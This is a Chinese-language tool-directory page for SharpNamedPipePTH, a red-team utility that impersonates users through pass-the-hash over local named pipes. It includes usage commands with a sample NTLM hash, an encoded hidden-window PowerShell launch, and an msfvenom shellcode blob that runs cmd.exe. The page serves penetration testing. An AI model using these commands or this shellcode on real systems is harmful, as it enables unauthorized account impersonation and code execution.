Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/s3cur3th1ssh1t/sharpnamedpipepth
权限提升Payload生成冒充工具横向移动后渗透利用渗透测试身份验证红队
GitHubs3cur3th1ssh1t/sharpnamedpipepth

SharpNamedPipePTH

通过命名管道传递哈希以进行令牌模拟

查看仓库
3105174年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

SharpNamedPipePTH

该项目是一个 C# 工具,用于在本地命名管道上使用哈希传递(Pass-the-Hash)进行身份验证,以实现用户模拟。你需要本地管理员权限或 SEImpersonate 权限才能使用。有一篇博客文章进行了解释:

https://s3cur3th1ssh1t.github.io/Named-Pipe-PTH/

它主要基于项目 Sharp-SMBExec 的代码。

过去,我在某些攻防安全项目中遇到了一些情况:我已经拥有了一个 低权限 用户账户的 NTLM 哈希,并且需要在当前已攻陷的系统上以该用户身份获取一个 Shell——但现有的公共工具无法实现。想象一下这种情况下的另外两个事实:该 NTLM 哈希无法破解,而且没有目标用户的进程可以注入 Shellcode 或迁移到其中。对某些人来说,这听起来可能像是一个荒谬的边缘情况。但我确实多次经历过。不止一次,在特定情况下,我花了大量时间寻找合适的工具/技术。

我个人对工具/技术的要求是:

  • 作为目标用户账户获得功能完整的 Shell 或 C2 连接
  • 必须能够模拟 低权限 账户——根据项目目标,可能需要使用特定用户访问系统,例如 CEO、HR 账户、SAP 管理员或其他
  • 该工具可用作 C2 模块

不幸的是,被模拟的用户无法进行网络身份验证,因为新进程使用的是受限的模拟令牌。因此,你只能将此技术用于与其他用户进行本地操作。

使用 SharpNamedPipePTH 有两种方式。你可以执行一个二进制文件(带或不带参数):

SharpNamedPipePTH.exe username:testing hash:7C53CFA5EA7D0F9B3B968AA0FB51A3F5 binary:C:\windows\system32\cmd.exe

示例1

SharpNamedPipePTH.exe username:testing domain:localhost hash:7C53CFA5EA7D0F9B3B968AA0FB51A3F5 binary:"C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" arguments:"-nop -w 1 -sta -enc bgBvAHQAZQBwAGEAZAAuAGUAeABlAAoA"

或者,你可以以另一个用户的身份执行 Shellcode:

SharpNamedPipePTH.exe username:testing domain:localhost hash:7C53CFA5EA7D0F9B3B968AA0FB51A3F5 shellcode:/EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpV////11IugEAAAAAAAAASI2NAQEAAEG6MYtvh//Vu+AdKgpBuqaVvZ3/1UiDxCg8BnwKgPvgdQW7RxNyb2oAWUGJ2v/VY21kLmV4ZQA=

这是 msfvenom -p windows/x64/exec CMD=cmd.exe EXITFUNC=threadmsfvenom -p windows/x64/exec CMD=cmd.exe EXITFUNC=thread | base64 -w0。

我对目前的 Shellcode 执行方式还不满意,因为它当前会以被模拟用户的身份生成 notepad 进程,并通过 D/Invoke CreateRemoteThread Syscall 将 Shellcode 注入到该新进程中。我仍在寻找在后台生成进程或执行 Shellcode 而无需目标用户进程进行内存分配的可能性。

示例2

下载工具